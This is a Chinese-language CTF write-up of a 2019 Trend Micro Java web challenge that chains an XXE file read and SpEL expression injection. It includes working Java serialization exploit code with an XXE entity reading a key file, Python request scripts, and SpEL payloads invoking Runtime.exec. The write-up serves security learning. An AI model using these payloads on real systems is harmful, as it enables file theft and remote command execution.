前言
之前写的文章都是偏重于php,本篇文章就以2019 Trend Micro CTF的一道300分的Java Web开始我的Java之路吧~
题目分析
题目给了1个war包,那么很明显是一道代码审计题目,我们使用JD-GUI打开分析一下代码,代码结构大致如下:
我们在Office类中看到需要接收2个参数:
继续往下跟进,我们看到一个明显的spel表达式注入点:
而nametag正是我们传入的参数,同时未做任何过滤,便带入了表达式中进行解析,那么这明显是一个可控利用点。
但是如何进入该if条件句成为了一个问题,我们注意到:
String keyParam = request.getParameter("key"); String keyFileLocation = "/TMCTF2019/key"; if (key.contentEquals(keyParam))
我们必须满足我们传入的key和文件:
/TMCTF2019/key
中的值一致才可以进入该条件句,那么只要找到一个文件任意读取的点即可。
XXE任意文件读取
继续审计代码,发现在Person类中,存在XXE文件读取点:
而结果会回显在Server类中:
我们写出对应的exp:
package com.trendmicro; import org.w3c.dom.Document; import org.w3c.dom.Node; import org.w3c.dom.NodeList; import org.xml.sax.SAXException; import java.io.*; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; public class Person implements Serializable { public String name; private static final long serialVersionUID = -559038737L; public Person(String name) { this.name = name; } private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException { int paramInt = aInputStream.readInt(); byte[] arrayOfByte = new byte[paramInt]; aInputStream.read(arrayOfByte); ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte); DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance(); localDocumentBuilderFactory.setNamespaceAware(true); DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder(); Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream); NodeList nodeList = localDocument.getElementsByTagName("tag"); Node node = nodeList.item(0); this.name = node.getTextContent(); } private void writeObject (ObjectOutputStream out) throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException{ String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \n" + "<!DOCTYPE ANY [ \n" + "<!ENTITY shit SYSTEM \"file:///TMCTF2019/key\"> \n" + "]> \n" + "<root><tag>&shit;</tag></root> "; byte[] bs = xml.getBytes(); out.writeInt(bs.length); ByteArrayOutputStream baos = new ByteArrayOutputStream(bs.length); baos.write(bs); out.write(baos.toByteArray()); } } package com.trendmicro; import java.io.FileOutputStream; import java.io.ObjectOutputStream; public class Main { public static void main(String[] args) throws Exception { Person person = new Person("a"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./obj")); oos.writeObject(person); oos.close(); } }
首先运行生成exp文件,然后利用python将其作为data发送,尝试进行XXE攻击读取文件/TMCTF2019/key:
import requests url = 'http://flagmarshal.xyz/jail' f = open('./obj','rb') exp = f.read() r = requests.post(url = url,data=exp) print r.content
可以成功读到回显:
我们关注到现在的person.name已经变成了我们xxe读取的文件内容,我们成功的获取了/TMCTF2019/key,其值为:
Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain
Spel表达式注入攻击
那么我们回到之前的点,剩下的就是对其进行攻击:
我们关注到并没有实际的回显点,我们首先尝试命令执行:
import requests url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s" exp = '''T(java.lang.Runtime).getRuntime().exec("nslookup a.com")''' now_url = url %exp r = requests.get(now_url) print r.content
得到回显:
Please remember that I can only resolve the 'com.trendmicro.jail.Flag' classI am sorry but you cannot see the Marshal
我们发现只允许我们使用:com.trendmicro.jail.Flag
我们进行代码审计:
我们发现,只要调用getflag()函数即可在报错信息中得到flag。
注意到表达式为:
'nametag' == 'Marshal'
我们的可控点在nametag,我们尝试构造:
nametag = '+T(com.trendmicro.jail.Flag).getFlag()+'
这样即可得到:
''+T(com.trendmicro.jail.Flag).getFlag()+'' == 'Marshal'
我们尝试利用:
import requests url = "http://flagmarshal.xyz/Office?key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain&nametag=%s" exp ="""'+T(com.trendmicro.jail.Flag).getFlag()+'""" now_url = url %exp r = requests.get(now_url) print r.content
发现出现了报错,其中并无flag:
纠结了许久,发现是+需要编码为%2B的问题,更正后即可getflag:
后记
题目串联了2个漏洞:Spel表达式注入+XXE文件任意读取,放在Java中还是可以学到一些知识的~